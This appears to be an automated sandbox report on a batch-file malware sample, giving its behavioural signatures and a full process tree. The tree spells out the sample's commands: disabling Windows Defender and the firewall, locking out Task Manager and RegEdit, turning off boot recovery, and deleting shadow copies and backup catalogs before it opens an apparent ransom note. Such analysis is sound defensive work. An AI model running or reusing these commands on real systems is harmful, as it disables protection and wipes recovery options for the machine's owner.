Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 08:56

General

  • Target
    bat.bat
  • Size 3KB
  • Sample260930-kv2v5sthmf
  • SHA256 e9b1b68f043b5f61d7775c7de9405a133ca205156a1d8b1169e70ecacf97c3b5
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in System32 directory 41 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 12 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bat.bat"
    1⤵
    • Executes a command shell one-liner
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1396
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3668
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:5116
      • C:\Windows\system32\notepad.exe
        notepad.exe "C:\Users\Public\Desktop\NOTICE.txt"
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:3576
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f
        2⤵
          PID:2768
        • C:\Windows\system32\reg.exe
          reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f
          2⤵
            PID:6088
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender DisableAntiSpyware settings
            PID:6048
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:5508
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:4540
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:2280
          • C:\Windows\system32\net.exe
            net stop WinDefend /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2840
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop WinDefend /y
              3⤵
                PID:992
            • C:\Windows\system32\net.exe
              net stop wscsvc /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4328
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop wscsvc /y
                3⤵
                  PID:4324
              • C:\Windows\system32\netsh.exe
                netsh advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:3568
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                2⤵
                  PID:5632
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                  2⤵
                    PID:3464
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
                    2⤵
                    • Disables RegEdit via registry modification
                    PID:1228
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} bootstatuspolicy ignoreallfailures
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:3364
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} recoveryenabled no
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2124
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin delete shadows /all /quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:2496
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic shadowcopy delete
                    2⤵
                    • Reads the TCP/IP host and domain name from the registry
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1144
                  • C:\Windows\system32\wbadmin.exe
                    wbadmin delete catalog -quiet
                    2⤵
                    • Deletes backup catalog
                    PID:5104
                  • C:\Windows\system32\attrib.exe
                    attrib -h -r -s C:\Windows\System32\config\*
                    2⤵
                    • Drops file in System32 directory
                    • Views/modifies file attributes
                    PID:4848
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1148
                • C:\Windows\system32\wbengine.exe
                  "C:\Windows\system32\wbengine.exe"
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3080
                • C:\Windows\System32\vdsldr.exe
                  C:\Windows\System32\vdsldr.exe -Embedding
                  1⤵
                    PID:4916
                  • C:\Windows\System32\vds.exe
                    C:\Windows\System32\vds.exe
                    1⤵
                    • Checks SCSI registry key(s)
                    PID:584
                  • C:\Windows\system32\OpenWith.exe
                    C:\Windows\system32\OpenWith.exe -Embedding
                    1⤵
                    • Modifies registry class
                    • Suspicious use of SetWindowsHookEx
                    PID:5392

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        NOTICE.txt

                        • Path C:\Users\Public\Desktop\NOTICE.txt
                        • Size 84B
                        • SHA256 cc3ab5e396a7004b96d28b691949d15d277e0ebe24919381bc93a93e9c328aff
                        • MD5 SHA1 SHA512 TLSH